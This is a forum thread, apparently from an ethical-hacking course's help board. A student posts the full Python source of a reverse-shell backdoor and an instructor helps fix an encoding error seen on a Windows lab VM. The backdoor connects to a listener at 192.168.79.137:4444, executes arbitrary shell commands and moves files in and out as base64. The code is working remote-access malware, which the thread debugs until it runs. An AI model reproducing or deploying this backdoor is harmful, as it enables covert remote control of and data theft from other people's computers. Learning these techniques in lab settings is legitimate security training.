[donatas]

hello i wrote off all the backdoor code and everything works except when i try dir or more commands i get this error maybe someone could help me fix it

BackDoor Code:

#!/usr/bin/env python
import socket
import subprocess
import json
import os
import base64

class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))

def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)

def reliable_receive(self):
json_data = “”
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue

def execute_system_command(self, command):

return subprocess.check_output(command, shell=True)

def change_working_directory_to(self, path):
os.chdir(path)
return “[+] Changing working directory to ” + path

def read_file(self, path):
with open(path, “rb”) as file:
return base64.b64encode(file.read())

def write_file(self, path, content):
with open(path, “wb”) as file:
file.write(base64.b64decode(content))
return “[+] Upload successful.”

def run(self):
while True:
command = self.reliable_receive()

try:
if command[0] == “exit”:
self.connection.close()
exit()
elif command[0] == “cd” and len(command) > 1:
command_result = self.change_working_directory_to(command[1])
elif command[0] == “download”:
command_result = self.read_file(command[1])
elif command[0] == “upload”:
command_result = self.write_file(command[1], command[2])
else:
command_result = self.execute_system_command(command)
except Exception:
command_result = “[-] Error during comand execution.”

self.reliable_send(command_result)

my_backdoor = Backdoor(“192.168.79.137”, 4444)
my_backdoor.run()

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[Diego Pérez]

Hi!
You have another question about the same script and both issues might be related so answer just in one topic please. Can you share the code but with the proper indentation? Otherwise it’s not possible to read it properly, hence the error can’t be found.

Greetings!
Diego

[donatas]

here

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[donatas]

and here

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[Diego Pérez]

Hi!
Cool! Are you using a windows virtual machine as victim? If so, did you change the language of it? Or is there any file name in the current working directory which is in a different language other than english?

Greetings!
Diego

[donatas]

yes i do use a windows machine as victim like it shows in videos and my windows machine is in my language which is Lithuanian language and there is no file in the current working directroy which one is in a diffrent language

• This reply was modified 1 year, 8 months ago by donatas.

[donatas]

EDITED VERSION

Yes, I use a Windows device as a victim, as it is shown in the videos, and my Windows device is in my language, which is in lithuanian, and in the current working Directroy there is no file that is in another language

[Diego Pérez]

Hi!
Ok, can you try to add a property in the reliable_send function? I mean in the backdoor:
json_data = json.dumps(data, ensure_ascii=False)

Let me know how it goes!
Diego

[donatas]

still not working but i don’t get any errors.

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[donatas]

but when i exit the backdoor with (ctrl C) i get this error

• This reply was modified 1 year, 8 months ago by donatas.

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[Diego Pérez]

Hi!
It says that the error is in reliable_receive, where exactly did you made the changes? Can you share the modified code?

Greetings!
Diego

[donatas]

only in here

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[Diego Pérez]

Hi!
It seems that last error is because you pressed ctrl + c, can you explain what happened?

Greetings!
Diego

[donatas]

everything is working fine.

[Diego Pérez]

Hi!
Glad you got it!
Diego

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